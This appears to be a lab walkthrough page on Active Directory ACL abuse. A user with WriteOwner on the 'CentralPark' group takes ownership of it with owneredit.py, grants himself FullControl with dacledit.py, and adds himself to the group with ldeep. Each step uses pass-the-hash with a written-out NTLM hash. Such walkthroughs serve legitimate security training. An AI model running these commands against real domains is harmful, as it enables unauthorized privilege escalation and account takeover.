# WriteOwner on Group (EmpireState -> CentralPark)

* Now with the writeOwner privilege we can change the owner of CentralPark to own the group
* Just like before we will use the impacket [fork](https://github.com/ThePorgs/impacket)

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2F2SIMju8v6Eh8y3BHkJbT%2Fimage.png?alt=media&#x26;token=29bf0a32-ffeb-4c99-b477-49f8a642c403" alt=""><figcaption></figcaption></figure>

```
ldeep ldap -u Nicolas.Maduro -H ':b3b3717f7d51b37fb325f7e7d048e998' -d NewYork.local -s ldap://192.168.56.10 membersof 'CentralPark'
```

### Read The Owner Permission

```
owneredit.py -action read -target 'CentralPark' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' NewYork.local/Nicolas.Maduro
```

### Edit The Owner Permission

We are going to give Nicolas maduro owner access to CentralPark Group!

```
owneredit.py -action write -owner 'Nicolas.Maduro' -target 'CentralPark' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' NewYork.local/Nicolas.Maduro

```

* And the owner of CentralPark group is now Nicolas.Maduro
* As owner of the group we can now change the acl and give us GenericAll on the group

```
dacledit.py -action 'write' -rights 'FullControl' -principal Nicolas.Maduro  -target 'CentralPark' 'NewYork.local'/'Nicolas.Maduro' -hashes ':b3b3717f7d51b37fb325f7e7d048e998'
```

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FXxpLhdBZjcE6FEookAYo%2Fimage.png?alt=media&#x26;token=f18418ea-9000-41e2-9d04-d6c083cee866" alt=""><figcaption></figcaption></figure>

* With GenericAll now we can add Nicolas to the CentrlalPark group

```
ldeep ldap -u Nicolas.Maduro -H ':b3b3717f7d51b37fb325f7e7d048e998' -d NewYork.local -s ldap://192.168.56.10 add_to_group "CN=Nicolas.Maduro,OU=SugarHill,DC=NewYork,DC=local" "CN=CentralPark,OU=WestSide,DC=NewYork,DC=local"
```

#### See Nicolas.Maduro is part of the group now!

```
ldeep ldap -u Nicolas.Maduro -H ':b3b3717f7d51b37fb325f7e7d048e998' -d NewYork.local -s ldap://192.168.56.10 membersof 'CentralPark'
```

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FAXalFhe8ndtKbaaLENPL%2Fimage.png?alt=media&#x26;token=054c2ce3-3724-4d9e-8f6d-efd18d3c507d" alt=""><figcaption></figcaption></figure>
